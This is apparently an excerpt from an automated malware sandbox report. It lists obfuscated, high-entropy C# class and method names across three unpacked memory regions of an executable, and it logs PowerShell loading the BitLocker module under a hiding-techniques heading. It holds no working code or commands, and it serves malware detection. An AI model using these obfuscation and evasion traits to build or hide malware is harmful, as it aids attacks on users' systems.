Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, vbF4dwbDYXd1pm0UND.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ARs7Zueo2T', 'fg37PlI7bQ', 'L3e7zbBF6O', 'tWGFrMcMJh', 'HfDFjU0QJp', 'OWqF7ccZXX', 'yYaFF3xJ4A', 'KQhgDkf0myA5Z1vVEcy'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, Ad8t06TsdlZPlGJflu.cs	High entropy of concatenated method names: 'WUa8J9DTew', 'wye8OiWCKY', 'NGlbSsUNHx', 'gWlbuiODZG', 'CyHbXdruHc', 'Gfkbp0H53H', 'NTYbW5uH0F', 'zAhbmigu3E', 'JTvbUr7yE6', 'f39biBHtB9'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, nJfbfko7qhviuIACOm.cs	High entropy of concatenated method names: 'ToString', 'nUvQ0x5mpP', 'yo1QcUWHr2', 'hI2QSgYY72', 'XCdQu7q9R5', 'crEQXSZicJ', 'A2eQpoBqck', 'GK2QW1LDF5', 'dHBQmj1QsF', 'veDQUTGIxR'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	High entropy of concatenated method names: 'qKNqtcoNRU', 'tMRqh655Hk', 'cydqohwEm1', 'lRmqNULURh', 'YdiqdpFKUc', 'YtEq4FoWAb', 'HCMq52QiOf', 'uP5qatB1SB', 'VRjqZoTOF2', 'EtZqPV98Aq'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, zuDh9WIx1svT8dxSDC.cs	High entropy of concatenated method names: 'nNWF1G7MHU', 'yIKFGqwVsM', 'gJUFqwRMVG', 'SoqFbPyRkr', 'dIhF8RGr9t', 'mmlFCbEW2s', 'kfSFK0ejw5', 'xjaFI39hgS', 'iPqFwPHaio', 'nLsFns5SaE'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, UQ2KwGjrcRdMFjeybgG.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'qqCl0TGnC8', 'QRblDiKoFe', 'YrClL35cag', 'o4xltb0hSF', 'uJ1lhHiIN9', 'JcyloCa4T2', 'lK8lNLhq2E'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, NvlJnjtLs8bdgXBD99.cs	High entropy of concatenated method names: 'CUDeimJgTS', 'qh4eD0ZMSv', 'uAoet9Dgbd', 'KUMehq5Pgl', 'b1GecRRf2P', 'cIAeSuTxAi', 'GdEeuXwLNU', 'qHBeXjJMf9', 'cKcepgQvyC', 'VeDeWRNpAd'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, vFBqrTW7LF9gFQ3SS9.cs	High entropy of concatenated method names: 'YusKGfnxTw', 'mFNKbjNWGJ', 'v0kKCBJvHc', 'kTBCPS9JUJ', 'naUCziBAwT', 'AhEKr6FPyy', 'UJ9KjNWpGN', 'uaUK7eDKgu', 'jZxKFcfu0H', 'oiKK9Fo6dd'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, w4aIYZZAxAL81mU4Pf.cs	High entropy of concatenated method names: 'tbsBYQAIjb', 'Qj8BcmckrZ', 'ci1BSALIuO', 'vq8BuU9VUD', 'iQWBXj6b9E', 'wigBpJdmud', 'xDwBWsIw0b', 'gveBmn9kue', 'F76BU0DIOI', 'GF1Bi71EUZ'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, I7L8C6N1ebf5t9UBNB.cs	High entropy of concatenated method names: 'GhwAnyibkG', 'qKtAsiCy08', 'ToString', 'Q4JAGOYMHa', 'ydLAqEDiSj', 'V73Ab35N3p', 'tiYA8kcdEJ', 'KWeACNh0Vu', 'NZpAK75mWm', 'i0OAIG4CMK'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, qFpaCg4OeA9gyeZYvB.cs	High entropy of concatenated method names: 'cRMAa0XpJN', 'FimAPvP2jr', 'FEnxroRaLi', 'D1YxjmDc24', 'D1IA0jrwGL', 'kggADFGiWg', 'PHEALmoOf0', 'HYFAtRYgdn', 'NOCAhQxFUg', 'NT7Aok0MCh'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, XEbj01c6HjltfqTAYO.cs	High entropy of concatenated method names: 'R6HG07yaTT7p1wrHxiQ', 'jWnbt4yFKwV4f4O8La3', 'Lb4CxmI65B', 'dS1CBVcFBL', 'fCYClqspom', 'k91DwNyYu1JU3W8CJkA', 'enG5bAyRxepn5Q9TkCu'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, a6ErcFYOWqRCf0yytN.cs	High entropy of concatenated method names: 'qd2C1YF2aN', 'CHsCqUSZab', 'YBpC8bDBWf', 'IT6CKBNg4O', 'l0nCIjIysJ', 'WOk8dqRp0M', 'fwx84ULr0r', 'Ryy85rxqRc', 'X8I8aXN9dA', 'eNA8ZJh3yl'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, VTwGxuj9BXOw3aUhmTr.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kdVVB6UQ1d', 'xNmVlKFttY', 'f95VgPgmlT', 'yCXVV9C06G', 'f6jV3nqVgZ', 'jKMVHAUR3I', 'FvUVR1pUNb'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, Xps7qRzTcm6j2O5EgP.cs	High entropy of concatenated method names: 'fbFlEUaWEi', 'm87lydFlV7', 'dPbl2cJ0k6', 'vMolY90eWD', 'b58lcEeXVy', 'z0FluM8CNn', 'bE3lXil51Y', 'borlRHJdHa', 'gySlf1nh3m', 'r1Vl6mHovj'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, GmQF5c96kjSSXmTedq.cs	High entropy of concatenated method names: 'v0tjKu23Hu', 'g8mjIQLjC7', 'NkhjnIBVLA', 'i5ejsCvd8t', 'fJfjelur6E', 'acFjQOWqRC', 'wjMxeVddQy3O8n4b3E', 'i9JQ60n6NPoaj2Jir7', 'O6bjjELi8v', 'K1OjFPPdsk'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, nrtLcTjjDPGqy3J5J8r.cs	High entropy of concatenated method names: 'zSclPJQaLc', 'LnKlznPo8e', 'y5pgrn35kf', 'stNgjlSHee', 'W59g79iVOf', 'TjVgFqUOmi', 'qqDg9UkcZ1', 'eU9g1kJFbd', 'hFrgG8xD90', 'fmwgqL9dx5'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, VushkvqOit4FjNAy9I.cs	High entropy of concatenated method names: 'Dispose', 'EuIjZeQ4LD', 'FyC7codZQ0', 'hFlOXJLFwU', 'VFyjPGK9yc', 'pqVjzNt61m', 'ProcessDialogKey', 'rMH7r4aIYZ', 'qxA7jL81mU', 'VPf77AelLw'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, Xhifmp5Im2uIeQ4LD5.cs	High entropy of concatenated method names: 'VLhBeDH9r4', 'PpyBAd6Ll1', 'LFEBBnyoGc', 'EECBg9iGtG', 'LxtB3R6WMg', 'REgBRqM5SU', 'Dispose', 'UwOxGpbd10', 'rg3xqEOBwh', 'BS8xbboLWy'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, ruDEOU2khIBVLAC5eC.cs	High entropy of concatenated method names: 'KZ8bvO40Wr', 'sQEbEXJDhl', 'ffqbyfoUww', 'eKDb2Q4MtS', 'O2FbebY4uW', 'wxdbQHmMpS', 'zOBbAUQdbj', 'BbIbx5nb5X', 'lbMbBl5DUD', 'ot8bllxglN'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, cbbtMY7GD7d1iUYhAX.cs	High entropy of concatenated method names: 'q5GMGslJM', 'EQyvUl5iu', 'CoDE5XOKS', 'b1COhJQJH', 'naI2m2o8C', 'A1hTPLsN0', 'NETVDVLfcWVTSqcl8g', 'nfmL13G8xZw2qfad3n', 'V6TxipDOr', 'oR1lhV4Dv'
Source: 0.2.299371485_14108825808_1736351479899.exe.9b20000.6.raw.unpack, UIgDiRLwSiBdvbIDpp.cs	High entropy of concatenated method names: 'lrPky6NOEY', 'nYvk27DFfA', 'fxnkY9KjQu', 'eYYkcs2k12', 'fEAkuyg4Ey', 'exnkXUy3PT', 'J97kWEtmIx', 'nWtkmoj9mT', 't9mkic3TWQ', 'FVdk0RySk6'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, qelLwRPCPsGUs6jdyY.cs	High entropy of concatenated method names: 'C4JlbnANLt', 'NEvl8YuQcg', 'NN6lCuaIGq', 'MBClKTQfSr', 'heTlBYamwi', 'CwvlISDKoB', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, ggXPZ5pdN41pIJs1V3.cs	High entropy of concatenated method names: 'ilnCo2TpYw', 'jQKCNctpwn', 'g3fCdhQ4Js', 'ToString', 'uj3C4FpJJS', 'SZ2C58A6MS', 'b5LeipymTSahZpCWtVI', 'a1NBaSy4kxFCjHZl6ot', 'qFDxGAyJuBOXAU3uP6S', 'bQbx4HyXSVlTNcxgB9W'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, KiBPZRUmpULxGIDG71.cs	High entropy of concatenated method names: 'vTOKf63TLf', 'Ck4K6KTSyh', 'mpoKMCphDT', 'QUvKvcuiCl', 'sWqKJLKTUR', 'AVkKEThFF6', 'qKhKO19hPd', 'PliKy3LrZg', 'DbjK2KXapj', 'UptKToYVXa'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, vbF4dwbDYXd1pm0UND.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ARs7Zueo2T', 'fg37PlI7bQ', 'L3e7zbBF6O', 'tWGFrMcMJh', 'HfDFjU0QJp', 'OWqF7ccZXX', 'yYaFF3xJ4A', 'KQhgDkf0myA5Z1vVEcy'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, Ad8t06TsdlZPlGJflu.cs	High entropy of concatenated method names: 'WUa8J9DTew', 'wye8OiWCKY', 'NGlbSsUNHx', 'gWlbuiODZG', 'CyHbXdruHc', 'Gfkbp0H53H', 'NTYbW5uH0F', 'zAhbmigu3E', 'JTvbUr7yE6', 'f39biBHtB9'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, nJfbfko7qhviuIACOm.cs	High entropy of concatenated method names: 'ToString', 'nUvQ0x5mpP', 'yo1QcUWHr2', 'hI2QSgYY72', 'XCdQu7q9R5', 'crEQXSZicJ', 'A2eQpoBqck', 'GK2QW1LDF5', 'dHBQmj1QsF', 'veDQUTGIxR'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	High entropy of concatenated method names: 'qKNqtcoNRU', 'tMRqh655Hk', 'cydqohwEm1', 'lRmqNULURh', 'YdiqdpFKUc', 'YtEq4FoWAb', 'HCMq52QiOf', 'uP5qatB1SB', 'VRjqZoTOF2', 'EtZqPV98Aq'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, zuDh9WIx1svT8dxSDC.cs	High entropy of concatenated method names: 'nNWF1G7MHU', 'yIKFGqwVsM', 'gJUFqwRMVG', 'SoqFbPyRkr', 'dIhF8RGr9t', 'mmlFCbEW2s', 'kfSFK0ejw5', 'xjaFI39hgS', 'iPqFwPHaio', 'nLsFns5SaE'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, UQ2KwGjrcRdMFjeybgG.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'qqCl0TGnC8', 'QRblDiKoFe', 'YrClL35cag', 'o4xltb0hSF', 'uJ1lhHiIN9', 'JcyloCa4T2', 'lK8lNLhq2E'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, NvlJnjtLs8bdgXBD99.cs	High entropy of concatenated method names: 'CUDeimJgTS', 'qh4eD0ZMSv', 'uAoet9Dgbd', 'KUMehq5Pgl', 'b1GecRRf2P', 'cIAeSuTxAi', 'GdEeuXwLNU', 'qHBeXjJMf9', 'cKcepgQvyC', 'VeDeWRNpAd'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, vFBqrTW7LF9gFQ3SS9.cs	High entropy of concatenated method names: 'YusKGfnxTw', 'mFNKbjNWGJ', 'v0kKCBJvHc', 'kTBCPS9JUJ', 'naUCziBAwT', 'AhEKr6FPyy', 'UJ9KjNWpGN', 'uaUK7eDKgu', 'jZxKFcfu0H', 'oiKK9Fo6dd'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, w4aIYZZAxAL81mU4Pf.cs	High entropy of concatenated method names: 'tbsBYQAIjb', 'Qj8BcmckrZ', 'ci1BSALIuO', 'vq8BuU9VUD', 'iQWBXj6b9E', 'wigBpJdmud', 'xDwBWsIw0b', 'gveBmn9kue', 'F76BU0DIOI', 'GF1Bi71EUZ'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, I7L8C6N1ebf5t9UBNB.cs	High entropy of concatenated method names: 'GhwAnyibkG', 'qKtAsiCy08', 'ToString', 'Q4JAGOYMHa', 'ydLAqEDiSj', 'V73Ab35N3p', 'tiYA8kcdEJ', 'KWeACNh0Vu', 'NZpAK75mWm', 'i0OAIG4CMK'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, qFpaCg4OeA9gyeZYvB.cs	High entropy of concatenated method names: 'cRMAa0XpJN', 'FimAPvP2jr', 'FEnxroRaLi', 'D1YxjmDc24', 'D1IA0jrwGL', 'kggADFGiWg', 'PHEALmoOf0', 'HYFAtRYgdn', 'NOCAhQxFUg', 'NT7Aok0MCh'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, XEbj01c6HjltfqTAYO.cs	High entropy of concatenated method names: 'R6HG07yaTT7p1wrHxiQ', 'jWnbt4yFKwV4f4O8La3', 'Lb4CxmI65B', 'dS1CBVcFBL', 'fCYClqspom', 'k91DwNyYu1JU3W8CJkA', 'enG5bAyRxepn5Q9TkCu'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, a6ErcFYOWqRCf0yytN.cs	High entropy of concatenated method names: 'qd2C1YF2aN', 'CHsCqUSZab', 'YBpC8bDBWf', 'IT6CKBNg4O', 'l0nCIjIysJ', 'WOk8dqRp0M', 'fwx84ULr0r', 'Ryy85rxqRc', 'X8I8aXN9dA', 'eNA8ZJh3yl'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, VTwGxuj9BXOw3aUhmTr.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kdVVB6UQ1d', 'xNmVlKFttY', 'f95VgPgmlT', 'yCXVV9C06G', 'f6jV3nqVgZ', 'jKMVHAUR3I', 'FvUVR1pUNb'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, Xps7qRzTcm6j2O5EgP.cs	High entropy of concatenated method names: 'fbFlEUaWEi', 'm87lydFlV7', 'dPbl2cJ0k6', 'vMolY90eWD', 'b58lcEeXVy', 'z0FluM8CNn', 'bE3lXil51Y', 'borlRHJdHa', 'gySlf1nh3m', 'r1Vl6mHovj'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, GmQF5c96kjSSXmTedq.cs	High entropy of concatenated method names: 'v0tjKu23Hu', 'g8mjIQLjC7', 'NkhjnIBVLA', 'i5ejsCvd8t', 'fJfjelur6E', 'acFjQOWqRC', 'wjMxeVddQy3O8n4b3E', 'i9JQ60n6NPoaj2Jir7', 'O6bjjELi8v', 'K1OjFPPdsk'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, nrtLcTjjDPGqy3J5J8r.cs	High entropy of concatenated method names: 'zSclPJQaLc', 'LnKlznPo8e', 'y5pgrn35kf', 'stNgjlSHee', 'W59g79iVOf', 'TjVgFqUOmi', 'qqDg9UkcZ1', 'eU9g1kJFbd', 'hFrgG8xD90', 'fmwgqL9dx5'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, VushkvqOit4FjNAy9I.cs	High entropy of concatenated method names: 'Dispose', 'EuIjZeQ4LD', 'FyC7codZQ0', 'hFlOXJLFwU', 'VFyjPGK9yc', 'pqVjzNt61m', 'ProcessDialogKey', 'rMH7r4aIYZ', 'qxA7jL81mU', 'VPf77AelLw'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, Xhifmp5Im2uIeQ4LD5.cs	High entropy of concatenated method names: 'VLhBeDH9r4', 'PpyBAd6Ll1', 'LFEBBnyoGc', 'EECBg9iGtG', 'LxtB3R6WMg', 'REgBRqM5SU', 'Dispose', 'UwOxGpbd10', 'rg3xqEOBwh', 'BS8xbboLWy'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, ruDEOU2khIBVLAC5eC.cs	High entropy of concatenated method names: 'KZ8bvO40Wr', 'sQEbEXJDhl', 'ffqbyfoUww', 'eKDb2Q4MtS', 'O2FbebY4uW', 'wxdbQHmMpS', 'zOBbAUQdbj', 'BbIbx5nb5X', 'lbMbBl5DUD', 'ot8bllxglN'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, cbbtMY7GD7d1iUYhAX.cs	High entropy of concatenated method names: 'q5GMGslJM', 'EQyvUl5iu', 'CoDE5XOKS', 'b1COhJQJH', 'naI2m2o8C', 'A1hTPLsN0', 'NETVDVLfcWVTSqcl8g', 'nfmL13G8xZw2qfad3n', 'V6TxipDOr', 'oR1lhV4Dv'
Source: 0.2.299371485_14108825808_1736351479899.exe.41f3088.1.raw.unpack, UIgDiRLwSiBdvbIDpp.cs	High entropy of concatenated method names: 'lrPky6NOEY', 'nYvk27DFfA', 'fxnkY9KjQu', 'eYYkcs2k12', 'fEAkuyg4Ey', 'exnkXUy3PT', 'J97kWEtmIx', 'nWtkmoj9mT', 't9mkic3TWQ', 'FVdk0RySk6'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, qelLwRPCPsGUs6jdyY.cs	High entropy of concatenated method names: 'C4JlbnANLt', 'NEvl8YuQcg', 'NN6lCuaIGq', 'MBClKTQfSr', 'heTlBYamwi', 'CwvlISDKoB', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, ggXPZ5pdN41pIJs1V3.cs	High entropy of concatenated method names: 'ilnCo2TpYw', 'jQKCNctpwn', 'g3fCdhQ4Js', 'ToString', 'uj3C4FpJJS', 'SZ2C58A6MS', 'b5LeipymTSahZpCWtVI', 'a1NBaSy4kxFCjHZl6ot', 'qFDxGAyJuBOXAU3uP6S', 'bQbx4HyXSVlTNcxgB9W'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, KiBPZRUmpULxGIDG71.cs	High entropy of concatenated method names: 'vTOKf63TLf', 'Ck4K6KTSyh', 'mpoKMCphDT', 'QUvKvcuiCl', 'sWqKJLKTUR', 'AVkKEThFF6', 'qKhKO19hPd', 'PliKy3LrZg', 'DbjK2KXapj', 'UptKToYVXa'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, vbF4dwbDYXd1pm0UND.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ARs7Zueo2T', 'fg37PlI7bQ', 'L3e7zbBF6O', 'tWGFrMcMJh', 'HfDFjU0QJp', 'OWqF7ccZXX', 'yYaFF3xJ4A', 'KQhgDkf0myA5Z1vVEcy'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, Ad8t06TsdlZPlGJflu.cs	High entropy of concatenated method names: 'WUa8J9DTew', 'wye8OiWCKY', 'NGlbSsUNHx', 'gWlbuiODZG', 'CyHbXdruHc', 'Gfkbp0H53H', 'NTYbW5uH0F', 'zAhbmigu3E', 'JTvbUr7yE6', 'f39biBHtB9'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, nJfbfko7qhviuIACOm.cs	High entropy of concatenated method names: 'ToString', 'nUvQ0x5mpP', 'yo1QcUWHr2', 'hI2QSgYY72', 'XCdQu7q9R5', 'crEQXSZicJ', 'A2eQpoBqck', 'GK2QW1LDF5', 'dHBQmj1QsF', 'veDQUTGIxR'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, Ru23Huyb8mQLjC7BwH.cs	High entropy of concatenated method names: 'qKNqtcoNRU', 'tMRqh655Hk', 'cydqohwEm1', 'lRmqNULURh', 'YdiqdpFKUc', 'YtEq4FoWAb', 'HCMq52QiOf', 'uP5qatB1SB', 'VRjqZoTOF2', 'EtZqPV98Aq'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, zuDh9WIx1svT8dxSDC.cs	High entropy of concatenated method names: 'nNWF1G7MHU', 'yIKFGqwVsM', 'gJUFqwRMVG', 'SoqFbPyRkr', 'dIhF8RGr9t', 'mmlFCbEW2s', 'kfSFK0ejw5', 'xjaFI39hgS', 'iPqFwPHaio', 'nLsFns5SaE'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, UQ2KwGjrcRdMFjeybgG.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'qqCl0TGnC8', 'QRblDiKoFe', 'YrClL35cag', 'o4xltb0hSF', 'uJ1lhHiIN9', 'JcyloCa4T2', 'lK8lNLhq2E'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, NvlJnjtLs8bdgXBD99.cs	High entropy of concatenated method names: 'CUDeimJgTS', 'qh4eD0ZMSv', 'uAoet9Dgbd', 'KUMehq5Pgl', 'b1GecRRf2P', 'cIAeSuTxAi', 'GdEeuXwLNU', 'qHBeXjJMf9', 'cKcepgQvyC', 'VeDeWRNpAd'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, vFBqrTW7LF9gFQ3SS9.cs	High entropy of concatenated method names: 'YusKGfnxTw', 'mFNKbjNWGJ', 'v0kKCBJvHc', 'kTBCPS9JUJ', 'naUCziBAwT', 'AhEKr6FPyy', 'UJ9KjNWpGN', 'uaUK7eDKgu', 'jZxKFcfu0H', 'oiKK9Fo6dd'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, w4aIYZZAxAL81mU4Pf.cs	High entropy of concatenated method names: 'tbsBYQAIjb', 'Qj8BcmckrZ', 'ci1BSALIuO', 'vq8BuU9VUD', 'iQWBXj6b9E', 'wigBpJdmud', 'xDwBWsIw0b', 'gveBmn9kue', 'F76BU0DIOI', 'GF1Bi71EUZ'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, I7L8C6N1ebf5t9UBNB.cs	High entropy of concatenated method names: 'GhwAnyibkG', 'qKtAsiCy08', 'ToString', 'Q4JAGOYMHa', 'ydLAqEDiSj', 'V73Ab35N3p', 'tiYA8kcdEJ', 'KWeACNh0Vu', 'NZpAK75mWm', 'i0OAIG4CMK'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, qFpaCg4OeA9gyeZYvB.cs	High entropy of concatenated method names: 'cRMAa0XpJN', 'FimAPvP2jr', 'FEnxroRaLi', 'D1YxjmDc24', 'D1IA0jrwGL', 'kggADFGiWg', 'PHEALmoOf0', 'HYFAtRYgdn', 'NOCAhQxFUg', 'NT7Aok0MCh'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, XEbj01c6HjltfqTAYO.cs	High entropy of concatenated method names: 'R6HG07yaTT7p1wrHxiQ', 'jWnbt4yFKwV4f4O8La3', 'Lb4CxmI65B', 'dS1CBVcFBL', 'fCYClqspom', 'k91DwNyYu1JU3W8CJkA', 'enG5bAyRxepn5Q9TkCu'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, a6ErcFYOWqRCf0yytN.cs	High entropy of concatenated method names: 'qd2C1YF2aN', 'CHsCqUSZab', 'YBpC8bDBWf', 'IT6CKBNg4O', 'l0nCIjIysJ', 'WOk8dqRp0M', 'fwx84ULr0r', 'Ryy85rxqRc', 'X8I8aXN9dA', 'eNA8ZJh3yl'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, VTwGxuj9BXOw3aUhmTr.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kdVVB6UQ1d', 'xNmVlKFttY', 'f95VgPgmlT', 'yCXVV9C06G', 'f6jV3nqVgZ', 'jKMVHAUR3I', 'FvUVR1pUNb'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, Xps7qRzTcm6j2O5EgP.cs	High entropy of concatenated method names: 'fbFlEUaWEi', 'm87lydFlV7', 'dPbl2cJ0k6', 'vMolY90eWD', 'b58lcEeXVy', 'z0FluM8CNn', 'bE3lXil51Y', 'borlRHJdHa', 'gySlf1nh3m', 'r1Vl6mHovj'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, GmQF5c96kjSSXmTedq.cs	High entropy of concatenated method names: 'v0tjKu23Hu', 'g8mjIQLjC7', 'NkhjnIBVLA', 'i5ejsCvd8t', 'fJfjelur6E', 'acFjQOWqRC', 'wjMxeVddQy3O8n4b3E', 'i9JQ60n6NPoaj2Jir7', 'O6bjjELi8v', 'K1OjFPPdsk'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, nrtLcTjjDPGqy3J5J8r.cs	High entropy of concatenated method names: 'zSclPJQaLc', 'LnKlznPo8e', 'y5pgrn35kf', 'stNgjlSHee', 'W59g79iVOf', 'TjVgFqUOmi', 'qqDg9UkcZ1', 'eU9g1kJFbd', 'hFrgG8xD90', 'fmwgqL9dx5'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, VushkvqOit4FjNAy9I.cs	High entropy of concatenated method names: 'Dispose', 'EuIjZeQ4LD', 'FyC7codZQ0', 'hFlOXJLFwU', 'VFyjPGK9yc', 'pqVjzNt61m', 'ProcessDialogKey', 'rMH7r4aIYZ', 'qxA7jL81mU', 'VPf77AelLw'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, Xhifmp5Im2uIeQ4LD5.cs	High entropy of concatenated method names: 'VLhBeDH9r4', 'PpyBAd6Ll1', 'LFEBBnyoGc', 'EECBg9iGtG', 'LxtB3R6WMg', 'REgBRqM5SU', 'Dispose', 'UwOxGpbd10', 'rg3xqEOBwh', 'BS8xbboLWy'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, ruDEOU2khIBVLAC5eC.cs	High entropy of concatenated method names: 'KZ8bvO40Wr', 'sQEbEXJDhl', 'ffqbyfoUww', 'eKDb2Q4MtS', 'O2FbebY4uW', 'wxdbQHmMpS', 'zOBbAUQdbj', 'BbIbx5nb5X', 'lbMbBl5DUD', 'ot8bllxglN'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, cbbtMY7GD7d1iUYhAX.cs	High entropy of concatenated method names: 'q5GMGslJM', 'EQyvUl5iu', 'CoDE5XOKS', 'b1COhJQJH', 'naI2m2o8C', 'A1hTPLsN0', 'NETVDVLfcWVTSqcl8g', 'nfmL13G8xZw2qfad3n', 'V6TxipDOr', 'oR1lhV4Dv'
Source: 0.2.299371485_14108825808_1736351479899.exe.4279ea8.3.raw.unpack, UIgDiRLwSiBdvbIDpp.cs	High entropy of concatenated method names: 'lrPky6NOEY', 'nYvk27DFfA', 'fxnkY9KjQu', 'eYYkcs2k12', 'fEAkuyg4Ey', 'exnkXUy3PT', 'J97kWEtmIx', 'nWtkmoj9mT', 't9mkic3TWQ', 'FVdk0RySk6'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
